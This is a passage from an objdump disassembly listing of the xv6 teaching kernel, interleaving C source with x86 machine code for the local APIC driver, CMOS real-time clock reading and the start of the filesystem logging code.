80102d5b: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102d5e: 8a 45 f8 mov -0x8(%ebp),%al
80102d61: 8b 55 fc mov -0x4(%ebp),%edx
80102d64: ee out %al,(%dx)
}
80102d65: c9 leave
80102d66: c3 ret
80102d67 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80102d67: 55 push %ebp
80102d68: 89 e5 mov %esp,%ebp
80102d6a: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80102d6d: 9c pushf
80102d6e: 58 pop %eax
80102d6f: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
80102d72: 8b 45 fc mov -0x4(%ebp),%eax
}
80102d75: c9 leave
80102d76: c3 ret
80102d77 <lapicw>:
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
80102d77: 55 push %ebp
80102d78: 89 e5 mov %esp,%ebp
lapic[index] = value;
80102d7a: a1 3c 37 11 80 mov 0x8011373c,%eax
80102d7f: 8b 55 08 mov 0x8(%ebp),%edx
80102d82: c1 e2 02 shl $0x2,%edx
80102d85: 01 c2 add %eax,%edx
80102d87: 8b 45 0c mov 0xc(%ebp),%eax
80102d8a: 89 02 mov %eax,(%edx)
lapic[ID]; // wait for write to finish, by reading
80102d8c: a1 3c 37 11 80 mov 0x8011373c,%eax
80102d91: 83 c0 20 add $0x20,%eax
80102d94: 8b 00 mov (%eax),%eax
}
80102d96: 5d pop %ebp
80102d97: c3 ret
80102d98 <lapicinit>:
//PAGEBREAK!
void
lapicinit(void)
{
80102d98: 55 push %ebp
80102d99: 89 e5 mov %esp,%ebp
80102d9b: 83 ec 08 sub $0x8,%esp
if(!lapic)
80102d9e: a1 3c 37 11 80 mov 0x8011373c,%eax
80102da3: 85 c0 test %eax,%eax
80102da5: 75 05 jne 80102dac <lapicinit+0x14>
return;
80102da7: e9 43 01 00 00 jmp 80102eef <lapicinit+0x157>
// Enable local APIC; set spurious interrupt vector.
lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS));
80102dac: c7 44 24 04 3f 01 00 movl $0x13f,0x4(%esp)
80102db3: 00
80102db4: c7 04 24 3c 00 00 00 movl $0x3c,(%esp)
80102dbb: e8 b7 ff ff ff call 80102d77 <lapicw>
// The timer repeatedly counts down at bus frequency
// from lapic[TICR] and then issues an interrupt.
// If xv6 cared more about precise timekeeping,
// TICR would be calibrated using an external time source.
lapicw(TDCR, X1);
80102dc0: c7 44 24 04 0b 00 00 movl $0xb,0x4(%esp)
80102dc7: 00
80102dc8: c7 04 24 f8 00 00 00 movl $0xf8,(%esp)
80102dcf: e8 a3 ff ff ff call 80102d77 <lapicw>
lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER));
80102dd4: c7 44 24 04 20 00 02 movl $0x20020,0x4(%esp)
80102ddb: 00
80102ddc: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102de3: e8 8f ff ff ff call 80102d77 <lapicw>
lapicw(TICR, 10000000);
80102de8: c7 44 24 04 80 96 98 movl $0x989680,0x4(%esp)
80102def: 00
80102df0: c7 04 24 e0 00 00 00 movl $0xe0,(%esp)
80102df7: e8 7b ff ff ff call 80102d77 <lapicw>
// Disable logical interrupt lines.
lapicw(LINT0, MASKED);
80102dfc: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102e03: 00
80102e04: c7 04 24 d4 00 00 00 movl $0xd4,(%esp)
80102e0b: e8 67 ff ff ff call 80102d77 <lapicw>
lapicw(LINT1, MASKED);
80102e10: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102e17: 00
80102e18: c7 04 24 d8 00 00 00 movl $0xd8,(%esp)
80102e1f: e8 53 ff ff ff call 80102d77 <lapicw>
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
80102e24: a1 3c 37 11 80 mov 0x8011373c,%eax
80102e29: 83 c0 30 add $0x30,%eax
80102e2c: 8b 00 mov (%eax),%eax
80102e2e: c1 e8 10 shr $0x10,%eax
80102e31: 0f b6 c0 movzbl %al,%eax
80102e34: 83 f8 03 cmp $0x3,%eax
80102e37: 76 14 jbe 80102e4d <lapicinit+0xb5>
lapicw(PCINT, MASKED);
80102e39: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102e40: 00
80102e41: c7 04 24 d0 00 00 00 movl $0xd0,(%esp)
80102e48: e8 2a ff ff ff call 80102d77 <lapicw>
// Map error interrupt to IRQ_ERROR.
lapicw(ERROR, T_IRQ0 + IRQ_ERROR);
80102e4d: c7 44 24 04 33 00 00 movl $0x33,0x4(%esp)
80102e54: 00
80102e55: c7 04 24 dc 00 00 00 movl $0xdc,(%esp)
80102e5c: e8 16 ff ff ff call 80102d77 <lapicw>
// Clear error status register (requires back-to-back writes).
lapicw(ESR, 0);
80102e61: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e68: 00
80102e69: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e70: e8 02 ff ff ff call 80102d77 <lapicw>
lapicw(ESR, 0);
80102e75: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e7c: 00
80102e7d: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e84: e8 ee fe ff ff call 80102d77 <lapicw>
// Ack any outstanding interrupts.
lapicw(EOI, 0);
80102e89: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e90: 00
80102e91: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102e98: e8 da fe ff ff call 80102d77 <lapicw>
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
80102e9d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102ea4: 00
80102ea5: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102eac: e8 c6 fe ff ff call 80102d77 <lapicw>
lapicw(ICRLO, BCAST | INIT | LEVEL);
80102eb1: c7 44 24 04 00 85 08 movl $0x88500,0x4(%esp)
80102eb8: 00
80102eb9: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102ec0: e8 b2 fe ff ff call 80102d77 <lapicw>
while(lapic[ICRLO] & DELIVS)
80102ec5: 90 nop
80102ec6: a1 3c 37 11 80 mov 0x8011373c,%eax
80102ecb: 05 00 03 00 00 add $0x300,%eax
80102ed0: 8b 00 mov (%eax),%eax
80102ed2: 25 00 10 00 00 and $0x1000,%eax
80102ed7: 85 c0 test %eax,%eax
80102ed9: 75 eb jne 80102ec6 <lapicinit+0x12e>
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
80102edb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102ee2: 00
80102ee3: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80102eea: e8 88 fe ff ff call 80102d77 <lapicw>
}
80102eef: c9 leave
80102ef0: c3 ret
80102ef1 <cpunum>:
int
cpunum(void)
{
80102ef1: 55 push %ebp
80102ef2: 89 e5 mov %esp,%ebp
80102ef4: 83 ec 28 sub $0x28,%esp
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
80102ef7: e8 6b fe ff ff call 80102d67 <readeflags>
80102efc: 25 00 02 00 00 and $0x200,%eax
80102f01: 85 c0 test %eax,%eax
80102f03: 74 25 je 80102f2a <cpunum+0x39>
static int n;
if(n++ == 0)
80102f05: a1 60 b6 10 80 mov 0x8010b660,%eax
80102f0a: 8d 50 01 lea 0x1(%eax),%edx
80102f0d: 89 15 60 b6 10 80 mov %edx,0x8010b660
80102f13: 85 c0 test %eax,%eax
80102f15: 75 13 jne 80102f2a <cpunum+0x39>
cprintf("cpu called from %x with interrupts enabled\n",
80102f17: 8b 45 04 mov 0x4(%ebp),%eax
80102f1a: 89 44 24 04 mov %eax,0x4(%esp)
80102f1e: c7 04 24 a4 87 10 80 movl $0x801087a4,(%esp)
80102f25: e8 97 d4 ff ff call 801003c1 <cprintf>
__builtin_return_address(0));
}
if (!lapic)
80102f2a: a1 3c 37 11 80 mov 0x8011373c,%eax
80102f2f: 85 c0 test %eax,%eax
80102f31: 75 07 jne 80102f3a <cpunum+0x49>
return 0;
80102f33: b8 00 00 00 00 mov $0x0,%eax
80102f38: eb 5d jmp 80102f97 <cpunum+0xa6>
apicid = lapic[ID] >> 24;
80102f3a: a1 3c 37 11 80 mov 0x8011373c,%eax
80102f3f: 83 c0 20 add $0x20,%eax
80102f42: 8b 00 mov (%eax),%eax
80102f44: c1 e8 18 shr $0x18,%eax
80102f47: 89 45 f0 mov %eax,-0x10(%ebp)
for (i = 0; i < ncpu; ++i) {
80102f4a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80102f51: eb 2e jmp 80102f81 <cpunum+0x90>
if (cpus[i].apicid == apicid)
80102f53: 8b 55 f4 mov -0xc(%ebp),%edx
80102f56: 89 d0 mov %edx,%eax
80102f58: c1 e0 02 shl $0x2,%eax
80102f5b: 01 d0 add %edx,%eax
80102f5d: 01 c0 add %eax,%eax
80102f5f: 01 d0 add %edx,%eax
80102f61: 89 c1 mov %eax,%ecx
80102f63: c1 e1 04 shl $0x4,%ecx
80102f66: 01 c8 add %ecx,%eax
80102f68: 01 d0 add %edx,%eax
80102f6a: 05 40 38 11 80 add $0x80113840,%eax
80102f6f: 8a 00 mov (%eax),%al
80102f71: 0f b6 c0 movzbl %al,%eax
80102f74: 3b 45 f0 cmp -0x10(%ebp),%eax
80102f77: 75 05 jne 80102f7e <cpunum+0x8d>
return i;
80102f79: 8b 45 f4 mov -0xc(%ebp),%eax
80102f7c: eb 19 jmp 80102f97 <cpunum+0xa6>
if (!lapic)
return 0;
apicid = lapic[ID] >> 24;
for (i = 0; i < ncpu; ++i) {
80102f7e: ff 45 f4 incl -0xc(%ebp)
80102f81: a1 20 3e 11 80 mov 0x80113e20,%eax
80102f86: 39 45 f4 cmp %eax,-0xc(%ebp)
80102f89: 7c c8 jl 80102f53 <cpunum+0x62>
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
80102f8b: c7 04 24 d0 87 10 80 movl $0x801087d0,(%esp)
80102f92: e8 bd d5 ff ff call 80100554 <panic>
}
80102f97: c9 leave
80102f98: c3 ret
80102f99 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102f99: 55 push %ebp
80102f9a: 89 e5 mov %esp,%ebp
80102f9c: 83 ec 08 sub $0x8,%esp
if(lapic)
80102f9f: a1 3c 37 11 80 mov 0x8011373c,%eax
80102fa4: 85 c0 test %eax,%eax
80102fa6: 74 14 je 80102fbc <lapiceoi+0x23>
lapicw(EOI, 0);
80102fa8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102faf: 00
80102fb0: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102fb7: e8 bb fd ff ff call 80102d77 <lapicw>
}
80102fbc: c9 leave
80102fbd: c3 ret
80102fbe <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102fbe: 55 push %ebp
80102fbf: 89 e5 mov %esp,%ebp
}
80102fc1: 5d pop %ebp
80102fc2: c3 ret
80102fc3 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102fc3: 55 push %ebp
80102fc4: 89 e5 mov %esp,%ebp
80102fc6: 83 ec 1c sub $0x1c,%esp
80102fc9: 8b 45 08 mov 0x8(%ebp),%eax
80102fcc: 88 45 ec mov %al,-0x14(%ebp)
ushort *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
80102fcf: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80102fd6: 00
80102fd7: c7 04 24 70 00 00 00 movl $0x70,(%esp)
80102fde: e8 68 fd ff ff call 80102d4b <outb>
outb(CMOS_PORT+1, 0x0A);
80102fe3: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80102fea: 00
80102feb: c7 04 24 71 00 00 00 movl $0x71,(%esp)
80102ff2: e8 54 fd ff ff call 80102d4b <outb>
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
80102ff7: c7 45 f8 67 04 00 80 movl $0x80000467,-0x8(%ebp)
wrv[0] = 0;
80102ffe: 8b 45 f8 mov -0x8(%ebp),%eax
80103001: 66 c7 00 00 00 movw $0x0,(%eax)
wrv[1] = addr >> 4;
80103006: 8b 45 f8 mov -0x8(%ebp),%eax
80103009: 8d 50 02 lea 0x2(%eax),%edx
8010300c: 8b 45 0c mov 0xc(%ebp),%eax
8010300f: c1 e8 04 shr $0x4,%eax
80103012: 66 89 02 mov %ax,(%edx)
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80103015: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80103019: c1 e0 18 shl $0x18,%eax
8010301c: 89 44 24 04 mov %eax,0x4(%esp)
80103020: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80103027: e8 4b fd ff ff call 80102d77 <lapicw>
lapicw(ICRLO, INIT | LEVEL | ASSERT);
8010302c: c7 44 24 04 00 c5 00 movl $0xc500,0x4(%esp)
80103033: 00
80103034: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
8010303b: e8 37 fd ff ff call 80102d77 <lapicw>
microdelay(200);
80103040: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80103047: e8 72 ff ff ff call 80102fbe <microdelay>
lapicw(ICRLO, INIT | LEVEL);
8010304c: c7 44 24 04 00 85 00 movl $0x8500,0x4(%esp)
80103053: 00
80103054: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
8010305b: e8 17 fd ff ff call 80102d77 <lapicw>
microdelay(100); // should be 10ms, but too slow in Bochs!
80103060: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80103067: e8 52 ff ff ff call 80102fbe <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
8010306c: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80103073: eb 3f jmp 801030b4 <lapicstartap+0xf1>
lapicw(ICRHI, apicid<<24);
80103075: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80103079: c1 e0 18 shl $0x18,%eax
8010307c: 89 44 24 04 mov %eax,0x4(%esp)
80103080: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80103087: e8 eb fc ff ff call 80102d77 <lapicw>
lapicw(ICRLO, STARTUP | (addr>>12));
8010308c: 8b 45 0c mov 0xc(%ebp),%eax
8010308f: c1 e8 0c shr $0xc,%eax
80103092: 80 cc 06 or $0x6,%ah
80103095: 89 44 24 04 mov %eax,0x4(%esp)
80103099: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
801030a0: e8 d2 fc ff ff call 80102d77 <lapicw>
microdelay(200);
801030a5: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
801030ac: e8 0d ff ff ff call 80102fbe <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
801030b1: ff 45 fc incl -0x4(%ebp)
801030b4: 83 7d fc 01 cmpl $0x1,-0x4(%ebp)
801030b8: 7e bb jle 80103075 <lapicstartap+0xb2>
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
801030ba: c9 leave
801030bb: c3 ret
801030bc <cmos_read>:
#define DAY 0x07
#define MONTH 0x08
#define YEAR 0x09
static uint cmos_read(uint reg)
{
801030bc: 55 push %ebp
801030bd: 89 e5 mov %esp,%ebp
801030bf: 83 ec 08 sub $0x8,%esp
outb(CMOS_PORT, reg);
801030c2: 8b 45 08 mov 0x8(%ebp),%eax
801030c5: 0f b6 c0 movzbl %al,%eax
801030c8: 89 44 24 04 mov %eax,0x4(%esp)
801030cc: c7 04 24 70 00 00 00 movl $0x70,(%esp)
801030d3: e8 73 fc ff ff call 80102d4b <outb>
microdelay(200);
801030d8: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
801030df: e8 da fe ff ff call 80102fbe <microdelay>
return inb(CMOS_RETURN);
801030e4: c7 04 24 71 00 00 00 movl $0x71,(%esp)
801030eb: e8 40 fc ff ff call 80102d30 <inb>
801030f0: 0f b6 c0 movzbl %al,%eax
}
801030f3: c9 leave
801030f4: c3 ret
801030f5 <fill_rtcdate>:
static void fill_rtcdate(struct rtcdate *r)
{
801030f5: 55 push %ebp
801030f6: 89 e5 mov %esp,%ebp
801030f8: 83 ec 04 sub $0x4,%esp
r->second = cmos_read(SECS);
801030fb: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80103102: e8 b5 ff ff ff call 801030bc <cmos_read>
80103107: 8b 55 08 mov 0x8(%ebp),%edx
8010310a: 89 02 mov %eax,(%edx)
r->minute = cmos_read(MINS);
8010310c: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80103113: e8 a4 ff ff ff call 801030bc <cmos_read>
80103118: 8b 55 08 mov 0x8(%ebp),%edx
8010311b: 89 42 04 mov %eax,0x4(%edx)
r->hour = cmos_read(HOURS);
8010311e: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80103125: e8 92 ff ff ff call 801030bc <cmos_read>
8010312a: 8b 55 08 mov 0x8(%ebp),%edx
8010312d: 89 42 08 mov %eax,0x8(%edx)
r->day = cmos_read(DAY);
80103130: c7 04 24 07 00 00 00 movl $0x7,(%esp)
80103137: e8 80 ff ff ff call 801030bc <cmos_read>
8010313c: 8b 55 08 mov 0x8(%ebp),%edx
8010313f: 89 42 0c mov %eax,0xc(%edx)
r->month = cmos_read(MONTH);
80103142: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80103149: e8 6e ff ff ff call 801030bc <cmos_read>
8010314e: 8b 55 08 mov 0x8(%ebp),%edx
80103151: 89 42 10 mov %eax,0x10(%edx)
r->year = cmos_read(YEAR);
80103154: c7 04 24 09 00 00 00 movl $0x9,(%esp)
8010315b: e8 5c ff ff ff call 801030bc <cmos_read>
80103160: 8b 55 08 mov 0x8(%ebp),%edx
80103163: 89 42 14 mov %eax,0x14(%edx)
}
80103166: c9 leave
80103167: c3 ret
80103168 <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
80103168: 55 push %ebp
80103169: 89 e5 mov %esp,%ebp
8010316b: 57 push %edi
8010316c: 56 push %esi
8010316d: 53 push %ebx
8010316e: 83 ec 5c sub $0x5c,%esp
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
80103171: c7 04 24 0b 00 00 00 movl $0xb,(%esp)
80103178: e8 3f ff ff ff call 801030bc <cmos_read>
8010317d: 89 45 e4 mov %eax,-0x1c(%ebp)
bcd = (sb & (1 << 2)) == 0;
80103180: 8b 45 e4 mov -0x1c(%ebp),%eax
80103183: 83 e0 04 and $0x4,%eax
80103186: 85 c0 test %eax,%eax
80103188: 0f 94 c0 sete %al
8010318b: 0f b6 c0 movzbl %al,%eax
8010318e: 89 45 e0 mov %eax,-0x20(%ebp)
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
80103191: 8d 45 c8 lea -0x38(%ebp),%eax
80103194: 89 04 24 mov %eax,(%esp)
80103197: e8 59 ff ff ff call 801030f5 <fill_rtcdate>
if(cmos_read(CMOS_STATA) & CMOS_UIP)
8010319c: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
801031a3: e8 14 ff ff ff call 801030bc <cmos_read>
801031a8: 25 80 00 00 00 and $0x80,%eax
801031ad: 85 c0 test %eax,%eax
801031af: 74 02 je 801031b3 <cmostime+0x4b>
continue;
801031b1: eb 36 jmp 801031e9 <cmostime+0x81>
fill_rtcdate(&t2);
801031b3: 8d 45 b0 lea -0x50(%ebp),%eax
801031b6: 89 04 24 mov %eax,(%esp)
801031b9: e8 37 ff ff ff call 801030f5 <fill_rtcdate>
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
801031be: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
801031c5: 00
801031c6: 8d 45 b0 lea -0x50(%ebp),%eax
801031c9: 89 44 24 04 mov %eax,0x4(%esp)
801031cd: 8d 45 c8 lea -0x38(%ebp),%eax
801031d0: 89 04 24 mov %eax,(%esp)
801031d3: e8 29 20 00 00 call 80105201 <memcmp>
801031d8: 85 c0 test %eax,%eax
801031da: 75 0d jne 801031e9 <cmostime+0x81>
break;
801031dc: 90 nop
}
// convert
if(bcd) {
801031dd: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801031e1: 0f 84 ac 00 00 00 je 80103293 <cmostime+0x12b>
801031e7: eb 02 jmp 801031eb <cmostime+0x83>
if(cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
break;
}
801031e9: eb a6 jmp 80103191 <cmostime+0x29>
// convert
if(bcd) {
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
801031eb: 8b 45 c8 mov -0x38(%ebp),%eax
801031ee: c1 e8 04 shr $0x4,%eax
801031f1: 89 c2 mov %eax,%edx
801031f3: 89 d0 mov %edx,%eax
801031f5: c1 e0 02 shl $0x2,%eax
801031f8: 01 d0 add %edx,%eax
801031fa: 01 c0 add %eax,%eax
801031fc: 8b 55 c8 mov -0x38(%ebp),%edx
801031ff: 83 e2 0f and $0xf,%edx
80103202: 01 d0 add %edx,%eax
80103204: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(minute);
80103207: 8b 45 cc mov -0x34(%ebp),%eax
8010320a: c1 e8 04 shr $0x4,%eax
8010320d: 89 c2 mov %eax,%edx
8010320f: 89 d0 mov %edx,%eax
80103211: c1 e0 02 shl $0x2,%eax
80103214: 01 d0 add %edx,%eax
80103216: 01 c0 add %eax,%eax
80103218: 8b 55 cc mov -0x34(%ebp),%edx
8010321b: 83 e2 0f and $0xf,%edx
8010321e: 01 d0 add %edx,%eax
80103220: 89 45 cc mov %eax,-0x34(%ebp)
CONV(hour );
80103223: 8b 45 d0 mov -0x30(%ebp),%eax
80103226: c1 e8 04 shr $0x4,%eax
80103229: 89 c2 mov %eax,%edx
8010322b: 89 d0 mov %edx,%eax
8010322d: c1 e0 02 shl $0x2,%eax
80103230: 01 d0 add %edx,%eax
80103232: 01 c0 add %eax,%eax
80103234: 8b 55 d0 mov -0x30(%ebp),%edx
80103237: 83 e2 0f and $0xf,%edx
8010323a: 01 d0 add %edx,%eax
8010323c: 89 45 d0 mov %eax,-0x30(%ebp)
CONV(day );
8010323f: 8b 45 d4 mov -0x2c(%ebp),%eax
80103242: c1 e8 04 shr $0x4,%eax
80103245: 89 c2 mov %eax,%edx
80103247: 89 d0 mov %edx,%eax
80103249: c1 e0 02 shl $0x2,%eax
8010324c: 01 d0 add %edx,%eax
8010324e: 01 c0 add %eax,%eax
80103250: 8b 55 d4 mov -0x2c(%ebp),%edx
80103253: 83 e2 0f and $0xf,%edx
80103256: 01 d0 add %edx,%eax
80103258: 89 45 d4 mov %eax,-0x2c(%ebp)
CONV(month );
8010325b: 8b 45 d8 mov -0x28(%ebp),%eax
8010325e: c1 e8 04 shr $0x4,%eax
80103261: 89 c2 mov %eax,%edx
80103263: 89 d0 mov %edx,%eax
80103265: c1 e0 02 shl $0x2,%eax
80103268: 01 d0 add %edx,%eax
8010326a: 01 c0 add %eax,%eax
8010326c: 8b 55 d8 mov -0x28(%ebp),%edx
8010326f: 83 e2 0f and $0xf,%edx
80103272: 01 d0 add %edx,%eax
80103274: 89 45 d8 mov %eax,-0x28(%ebp)
CONV(year );
80103277: 8b 45 dc mov -0x24(%ebp),%eax
8010327a: c1 e8 04 shr $0x4,%eax
8010327d: 89 c2 mov %eax,%edx
8010327f: 89 d0 mov %edx,%eax
80103281: c1 e0 02 shl $0x2,%eax
80103284: 01 d0 add %edx,%eax
80103286: 01 c0 add %eax,%eax
80103288: 8b 55 dc mov -0x24(%ebp),%edx
8010328b: 83 e2 0f and $0xf,%edx
8010328e: 01 d0 add %edx,%eax
80103290: 89 45 dc mov %eax,-0x24(%ebp)
#undef CONV
}
*r = t1;
80103293: 8b 45 08 mov 0x8(%ebp),%eax
80103296: 89 c2 mov %eax,%edx
80103298: 8d 5d c8 lea -0x38(%ebp),%ebx
8010329b: b8 06 00 00 00 mov $0x6,%eax
801032a0: 89 d7 mov %edx,%edi
801032a2: 89 de mov %ebx,%esi
801032a4: 89 c1 mov %eax,%ecx
801032a6: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
r->year += 2000;
801032a8: 8b 45 08 mov 0x8(%ebp),%eax
801032ab: 8b 40 14 mov 0x14(%eax),%eax
801032ae: 8d 90 d0 07 00 00 lea 0x7d0(%eax),%edx
801032b4: 8b 45 08 mov 0x8(%ebp),%eax
801032b7: 89 50 14 mov %edx,0x14(%eax)
}
801032ba: 83 c4 5c add $0x5c,%esp
801032bd: 5b pop %ebx
801032be: 5e pop %esi
801032bf: 5f pop %edi
801032c0: 5d pop %ebp
801032c1: c3 ret
...
801032c4 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(int dev)
{
801032c4: 55 push %ebp
801032c5: 89 e5 mov %esp,%ebp
801032c7: 83 ec 38 sub $0x38,%esp
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
801032ca: c7 44 24 04 e0 87 10 movl $0x801087e0,0x4(%esp)
801032d1: 80
801032d2: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801032d9: e8 28 1c 00 00 call 80104f06 <initlock>
readsb(dev, &sb);
801032de: 8d 45 dc lea -0x24(%ebp),%eax
801032e1: 89 44 24 04 mov %eax,0x4(%esp)
801032e5: 8b 45 08 mov 0x8(%ebp),%eax
801032e8: 89 04 24 mov %eax,(%esp)
801032eb: e8 2c e0 ff ff call 8010131c <readsb>
log.start = sb.logstart;
801032f0: 8b 45 ec mov -0x14(%ebp),%eax
801032f3: a3 74 37 11 80 mov %eax,0x80113774
log.size = sb.nlog;
801032f8: 8b 45 e8 mov -0x18(%ebp),%eax
801032fb: a3 78 37 11 80 mov %eax,0x80113778
log.dev = dev;
80103300: 8b 45 08 mov 0x8(%ebp),%eax
80103303: a3 84 37 11 80 mov %eax,0x80113784
recover_from_log();
80103308: e8 95 01 00 00 call 801034a2 <recover_from_log>
}
8010330d: c9 leave
8010330e: c3 ret
8010330f <install_trans>:
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
8010330f: 55 push %ebp
80103310: 89 e5 mov %esp,%ebp
80103312: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103315: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010331c: e9 89 00 00 00 jmp 801033aa <install_trans+0x9b>
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80103321: 8b 15 74 37 11 80 mov 0x80113774,%edx
80103327: 8b 45 f4 mov -0xc(%ebp),%eax
8010332a: 01 d0 add %edx,%eax
8010332c: 40 inc %eax
8010332d: 89 c2 mov %eax,%edx
8010332f: a1 84 37 11 80 mov 0x80113784,%eax
80103334: 89 54 24 04 mov %edx,0x4(%esp)
80103338: 89 04 24 mov %eax,(%esp)
8010333b: e8 75 ce ff ff call 801001b5 <bread>
80103340: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80103343: 8b 45 f4 mov -0xc(%ebp),%eax
80103346: 83 c0 10 add $0x10,%eax
80103349: 8b 04 85 4c 37 11 80 mov -0x7feec8b4(,%eax,4),%eax
80103350: 89 c2 mov %eax,%edx
80103352: a1 84 37 11 80 mov 0x80113784,%eax
80103357: 89 54 24 04 mov %edx,0x4(%esp)
8010335b: 89 04 24 mov %eax,(%esp)
8010335e: e8 52 ce ff ff call 801001b5 <bread>
80103363: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80103366: 8b 45 f0 mov -0x10(%ebp),%eax
80103369: 8d 50 5c lea 0x5c(%eax),%edx
8010336c: 8b 45 ec mov -0x14(%ebp),%eax
8010336f: 83 c0 5c add $0x5c,%eax
80103372: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80103379: 00
8010337a: 89 54 24 04 mov %edx,0x4(%esp)
8010337e: 89 04 24 mov %eax,(%esp)
80103381: e8 cd 1e 00 00 call 80105253 <memmove>
bwrite(dbuf); // write dst to disk
80103386: 8b 45 ec mov -0x14(%ebp),%eax
80103389: 89 04 24 mov %eax,(%esp)
8010338c: e8 5b ce ff ff call 801001ec <bwrite>
brelse(lbuf);
80103391: 8b 45 f0 mov -0x10(%ebp),%eax
80103394: 89 04 24 mov %eax,(%esp)
80103397: e8 90 ce ff ff call 8010022c <brelse>
brelse(dbuf);
